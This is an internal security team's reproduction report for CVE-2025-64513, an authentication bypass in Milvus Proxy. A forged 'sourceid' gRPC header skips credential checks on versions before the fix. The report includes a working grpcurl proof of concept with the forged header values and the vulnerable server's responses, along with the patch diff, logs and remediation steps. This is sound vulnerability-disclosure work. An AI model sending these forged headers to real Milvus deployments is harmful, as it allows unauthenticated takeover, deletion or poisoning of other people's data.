CVE: CVE-2025-64513
Advisory: https://github.com/milvus-io/milvus/security/advisories/GHSA-mhjq-8c7m-3f7p
Component: Milvus Proxy (standalone mode)
Affected: < 2.4.24, < 2.5.21, < 2.6.5 (validated on v2.4.23)
Patched: 2.4.24, 2.5.21, 2.6.5 (validated on v2.4.24)
Analyst: Internal Product Security
Date: 2025‑11‑11
CWE: CWE‑287 (Improper Authentication)
Milvus Proxy’s gRPC authentication interceptor trusted a caller-controlled sourceid metadata field to distinguish “internal member” traffic from client traffic. Sending that header with the hard-coded value @@milvus-member@@ and pairing it with any Base64 auth blob (e.g., fake root:fakepass) bypasses all credential checks on vulnerable tags. We reproduced the issue by forging those headers against v2.4.23, creating a database as an unauthenticated user, and then confirmed that v2.4.24 rejects the same request. The upstream fix removes the validSourceID fast path so every request must present valid credentials.
- Unauthenticated administrative control: Any client capable of sending gRPC traffic to Milvus Proxy can create/drop databases, mutate RBAC, ingest data, or delete collections without valid credentials simply by setting the
sourceidheader to the member sentinel. Evidence: the forgedCreateDatabasecall returnsdbNames: ["default", "poc_db_from_unauth"]onv2.4.23(.../logs/repro.log:11–16). - Configuration agnostic: The bypass succeeds even when
common.security.authorizationEnabled=trueandenablePublicPrivilege=false, rendering the documented hardening ineffective on affected releases. - Denial of service / data loss: Attackers can drop collections or databases, steal or poison embeddings, and alter resource groups, leading to outages.
- Lima remote VM
pruva-repro-20251111-145701-…with Docker (arm64). reproduction_steps.shprovisions Milvusv2.4.23andv2.4.24containers with authorization enabled, usesgrpcurlto craft RPCs, and stores logs underworkspace/milvus-ghsa-mhjq-8c7m-3f7p/logs/(reproduction_steps.shroot).- Toolchain:
pymilvus==2.4.4,grpcurl 1.9.2,milvus-protofor.protofiles. - Proxy configuration: each container mounts a hardened YAML at
workspace/milvus-ghsa-mhjq-8c7m-3f7p/configs/milvus-<version>.yaml. Key deltas from upstream default:These settings ensure the proxy actually enforces auth, emits verbose traces for evidence, and keeps state inside the mounted volume so each run is deterministic. The full file lives atetcd: endpoints: localhost:2379 use: embed: true data: dir: /var/lib/milvus/etcd log: level: debug common: security: authorizationEnabled: true enablePublicPrivilege: false rocksmq: path: /var/lib/milvus/rdb_data localStorage: path: /var/lib/milvus/data/ log: level: debug
workspace/milvus-ghsa-mhjq-8c7m-3f7p/configs/milvus-2.4.23.yaml(and the 2.4.24 equivalent) for copy/paste.
- Start vulnerable Milvus 2.4.23:
sudo docker run -d --name milvus-ghsa-vuln \ -p 19530:19530 -p 9091:9091 \ -v $PWD/configs/milvus-2.4.23.yaml:/milvus/configs/milvus.yaml \ -v $PWD/data/vuln:/var/lib/milvus \ milvusdb/milvus:v2.4.23 milvus run standalone - Forge headers and call CreateDatabase:
Observed response (vulnerable 2.4.23):PATH=$HOME/.local/bin:$PATH grpcurl -plaintext \ -H 'sourceid: QEBtaWx2dXMtbWVtYmVyQEA=' \ -H 'authorization: cm9vdDpmYWtlcGFzcw==' \ -import-path workspace/remote/milvus-proto/proto \ -proto common.proto -proto schema.proto -proto feder.proto \ -proto msg.proto -proto rg.proto -proto milvus.proto \ -d '{"base":{"msg_type":"CreateDatabase"},"db_name":"poc_db_from_unauth"}' \ 127.0.0.1:19530 milvus.proto.milvus.MilvusService/CreateDatabase{} { "status": {}, "dbNames": [ "default", "poc_db_from_unauth" ], "createdTimestamp": [ "1762881221593159638", "1762881225148773477" ] } - List databases to confirm creation:
Observed response (vulnerable 2.4.23):grpcurl ... -d '{"base":{"msg_type":"ListDatabases"}}' .../ListDatabases{ "status": {}, "dbNames": [ "default", "poc_db_from_unauth" ], "createdTimestamp": [ "1762881221593159638", "1762881225148773477" ] } - Restart with Milvus 2.4.24 and repeat (same command, but container
milvus-ghsa-patched). Patched response:ERROR: Code: Unauthenticated Message: auth check failure, please check username and password are correct
repro.logshowsCreateDatabasesucceeding on 2.4.23 andListDatabasesreturning both DBs (.../logs/repro.log:11–19), while 2.4.24 responds withCode: Unauthenticated(.../logs/repro.log:35–47).vulnerable-proxy.logcaptures the proxy accepting the forged call (.../logs/vulnerable-proxy.log:563–574), confirming no credential check occurred. Key lines:[2025/11/11 17:13:45.148 +00:00] [INFO] [proxy/impl.go:246] ["CreateDatabase received"] [dbName=poc_db_from_unauth] [2025/11/11 17:13:45.150 +00:00] [INFO] [proxy/impl.go:266] ["CreateDatabase done"] [dbName=poc_db_from_unauth] [2025/11/11 17:13:51.381 +00:00] [INFO] [proxy/impl.go:403] ["ListDatabases done"] ["num of db"=2]- The patched proxy log shows the same forged request failing with a password verification warning (
.../logs/patched-proxy.log:381–395):[2025/11/11 17:13:49.652 +00:00] [INFO] [proxy/proxy.go:229] ["Proxy init rateCollector done"] [2025/11/11 17:13:51.381 +00:00] [INFO] [proxy/impl.go:403] ["ListDatabases done"] ["num of db"=1] [2025/11/11 17:13:51.432 +00:00] [WARN] [proxy/authentication_interceptor.go:98] ["fail to verify password"] [username=root] vulnerable-create-response.json/vulnerable-list-response.jsoncontain the raw RPC payloads included above for completeness.
Trigger: sourceid metadata set to Base64("@@milvus-member@@") short-circuited authentication, regardless of authorization contents.
Full patch (v2.4.23 ➜ v2.4.24):
@@
-func validSourceID(ctx context.Context, authorization []string) bool {
- if len(authorization) < 1 {
- return false
- }
- token := authorization[0]
- sourceID, err := crypto.Base64Decode(token)
- if err != nil {
- return false
- }
- return sourceID == util.MemberCredID
-}
@@
- if !validSourceID(ctx, md[strings.ToLower(util.HeaderSourceID)]) {
- authStrArr := md[strings.ToLower(util.HeaderAuthorize)]
-
- if len(authStrArr) < 1 {
- log.Warn("key not found in header")
- return nil, status.Error(codes.Unauthenticated, "missing authorization in header")
- }
-
- token := authStrArr[0]
- rawToken, err := crypto.Base64Decode(token)
- if err != nil {
- log.Warn("fail to decode the token", zap.Error(err))
- return nil, status.Error(codes.Unauthenticated, "invalid token format")
- }
-
- if !strings.Contains(rawToken, util.CredentialSeperator) {
- user, err := VerifyAPIKey(rawToken)
- if err != nil {
- log.Warn("fail to verify apikey", zap.Error(err))
- return nil, status.Error(codes.Unauthenticated, "auth check failure, please check api key is correct")
- }
- metrics.UserRPCCounter.WithLabelValues(user).Inc()
- userToken := fmt.Sprintf("%s%s%s", user, util.CredentialSeperator, util.PasswordHolder)
- md[strings.ToLower(util.HeaderAuthorize)] = []string{crypto.Base64Encode(userToken)}
- md[util.HeaderToken] = []string{rawToken}
- ctx = metadata.NewIncomingContext(ctx, md)
- } else {
- username, password := parseMD(rawToken)
- if !passwordVerify(ctx, username, password, globalMetaCache) {
- log.Warn("fail to verify password", zap.String("username", username))
- return nil, status.Error(codes.Unauthenticated, "auth check failure, please check username and password are correct")
- }
- metrics.UserRPCCounter.WithLabelValues(username).Inc()
- }
- }
+ authStrArr := md[strings.ToLower(util.HeaderAuthorize)]
+
+ if len(authStrArr) < 1 {
+ log.Warn("key not found in header")
+ return nil, status.Error(codes.Unauthenticated, "missing authorization in header")
+ }
+
+ token := authStrArr[0]
+ rawToken, err := crypto.Base64Decode(token)
+ if err != nil {
+ log.Warn("fail to decode the token", zap.Error(err))
+ return nil, status.Error(codes.Unauthenticated, "invalid token format")
+ }
+
+ if !strings.Contains(rawToken, util.CredentialSeperator) {
+ user, err := VerifyAPIKey(rawToken)
+ if err != nil {
+ log.Warn("fail to verify apikey", zap.Error(err))
+ return nil, status.Error(codes.Unauthenticated, "auth check failure, please check api key is correct")
+ }
+ metrics.UserRPCCounter.WithLabelValues(user).Inc()
+ userToken := fmt.Sprintf("%s%s%s", user, util.CredentialSeperator, util.PasswordHolder)
+ md[strings.ToLower(util.HeaderAuthorize)] = []string{crypto.Base64Encode(userToken)}
+ md[util.HeaderToken] = []string{rawToken}
+ ctx = metadata.NewIncomingContext(ctx, md)
+ } else {
+ username, password := parseMD(rawToken)
+ if !passwordVerify(ctx, username, password, globalMetaCache) {
+ log.Warn("fail to verify password", zap.String("username", username))
+ return nil, status.Error(codes.Unauthenticated, "auth check failure, please check username and password are correct")
+ }
+ metrics.UserRPCCounter.WithLabelValues(username).Inc()
+ }(Extracted directly from workspace/.../logs/proxy-auth-diff.txt.)
Why it broke security
- The sentinel string
@@milvus-member@@is public and constant, so any gRPC client can forge it; there is no TLS binding or HMAC. - When
validSourceIDreturned true, the proxy never looked at theauthorizationheader. Our grpcurl PoC setauthorization: cm9vdDpmYWtlcGFzcw==(Base64root:fakepass) solely to satisfy header parsing; the credentials themselves were never validated. - Downstream services enabling
authorizationEnabled=truegained no protection until they upgraded because the shortcut ran before credential enforcement.
Contributing factors
- Implicit trust in metadata: Proxy assumed only internal components knew the sentinel header.
- Lack of mutual authentication: No client certificate, IP allowlist, or signature tied
sourceidto a real member. - Security disabled by default: With
authorizationEnabled=false, many deployments remained wide open even without the bypass; those that enabled it were still vulnerable due to the shortcut.
- Upgrade immediately to Milvus
2.4.24,2.5.21,2.6.5, or later. These releases remove thesourceidshortcut and enforceauthorizationon every RPC. - Backport patch: in custom forks, delete the
validSourceIDlogic and always validate credentials inAuthenticationInterceptor. The upstream diff inlogs/proxy-auth-diff.txtcan be applied cleanly. - Network controls: until patched, restrict gRPC access (port 19530) to trusted components only (service mesh, firewall) to reduce exposure.
- Monitoring: Alert on proxy logs emitting
CreateDatabase/DropDatabasewith empty usernames or suspicioussourceidheaders. The run artifacts include sanitizedvulnerable-proxy.logsnippets for reference.
- Commands & script:
workspace/milvus-ghsa-mhjq-8c7m-3f7p/reproduction_steps.sh - Logs:
workspace/milvus-ghsa-mhjq-8c7m-3f7p/logs/(repro runs, RPC responses, proxy logs, diff) - Configs:
workspace/milvus-ghsa-mhjq-8c7m-3f7p/configs/milvus-2.4.23.yaml,milvus-2.4.24.yaml - Diff:
workspace/milvus-ghsa-mhjq-8c7m-3f7p/logs/proxy-auth-diff.txt
All under artifacts/runs/MILVUS-GHSA-mhjq-8c7m-3f7p/20251111-145701/MILVUS-GHSA-mhjq-8c7m-3f7p/default_recipe/.